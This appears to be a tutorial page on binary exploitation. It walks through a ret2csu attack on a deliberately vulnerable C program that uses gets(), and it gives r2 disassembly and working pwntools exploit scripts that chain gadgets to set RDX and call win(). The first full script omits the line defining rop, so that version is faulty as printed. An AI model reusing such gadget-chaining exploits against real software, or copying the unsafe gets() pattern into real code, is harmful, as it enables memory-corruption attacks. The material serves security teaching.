# Exploitation

## Source

```c
#include <stdio.h>

int win(int x, int y, int z) {
    if(z == 0xdeadbeefcafed00d) {
        puts("Awesome work!");
    }
}

int main() {
    puts("Come on then, ret2csu me");

    char input[30];
    gets(input);
    return 0;
}
```

Obviously, you can do a ret2plt followed by a ret2libc, but that's *really* not the point of this. Try calling `win()`, and to do that you have to populate the register `rdx`. Try what we've talked about, and then have a look at the answer if you get stuck.

## Analysis

We can work out the addresses of the massive chains using r2, and chuck this all into pwntools.

```
[...]
0x00401208      4c89f2         mov rdx, r14
0x0040120b      4c89ee         mov rsi, r13
0x0040120e      4489e7         mov edi, r12d
0x00401211      41ff14df       call qword [r15 + rbx*8]
0x00401215      4883c301       add rbx, 1
0x00401219      4839dd         cmp rbp, rbx
0x0040121c      75ea           jne 0x401208
0x0040121e      4883c408       add rsp, 8
0x00401222      5b             pop rbx
0x00401223      5d             pop rbp
0x00401224      415c           pop r12
0x00401226      415d           pop r13
0x00401228      415e           pop r14
0x0040122a      415f           pop r15
0x0040122c      c3             ret
```

```python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
```

{% hint style="info" %}
Note I'm not popping RBX, despite the `call`. This is because RBX ends up being `0` anyway, and you want to mess with the least number of registers you need to to ensure the best success.
{% endhint %}

## Exploitation

### Finding a win()

Now we need to find a memory location that has the address of `win()` written into it so that we can point `r15` at it. I'm going to opt to call `gets()` again instead, and then input the address. The location we input to is a fixed location of our choice, which is reliable. Now we just need to find a location.

To do this, I'll run r2 on the binary then `dcu main` to contiune until main. Now let's check permissions:

```
[0x00401199]> dm
0x0000000000400000 - 0x0000000000401000 - usr     4K s r--
0x0000000000401000 - 0x0000000000402000 * usr     4K s r-x
0x0000000000402000 - 0x0000000000403000 - usr     4K s r--
0x0000000000403000 - 0x0000000000404000 - usr     4K s r--
0x0000000000404000 - 0x0000000000405000 - usr     4K s rw-
```

The third location is RW, so let's check it out.

```
0x00401199]> pxq @ 0x0000000000404000
0x00404000  0x0000000000403e20  0x00007f7235252180    >@......!%5r...
0x00404010  0x00007f723523c5e0  0x0000000000401036   ..#5r...6.@.....
0x00404020  0x0000000000401046  0x0000000000000000   F.@.............
```

The address `0x404028` appears unused, so I'll write `win()` there.

```python
RW_LOC = 0x00404028
```

### Reading in win()

To do this, I'll just use the ROP class.

```python
rop.raw('A' * 40)
rop.gets(RW_LOC)
```

### Popping the registers

Now we have the address written there, let's just get the massive ropchain and plonk it all in

```python
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call
```

### Sending it off

Don't forget to pass a parameter to the `gets()`:

```python
p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"
```

## Final Exploit

```python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"
```

And we have successfully controlled RDX - without any RDX gadgets!

## Simplification

As you probably noticed, we don't *need* to pop off r12 or r13, so we can move `POP_CHAIN` a couple of intructions along:

```python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

rop = ROP(elf)

POP_CHAIN = 0x00401228        # pop r14, pop r15, ret
REG_CALL = 0x00401208         # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))
print(p.recvline())
```
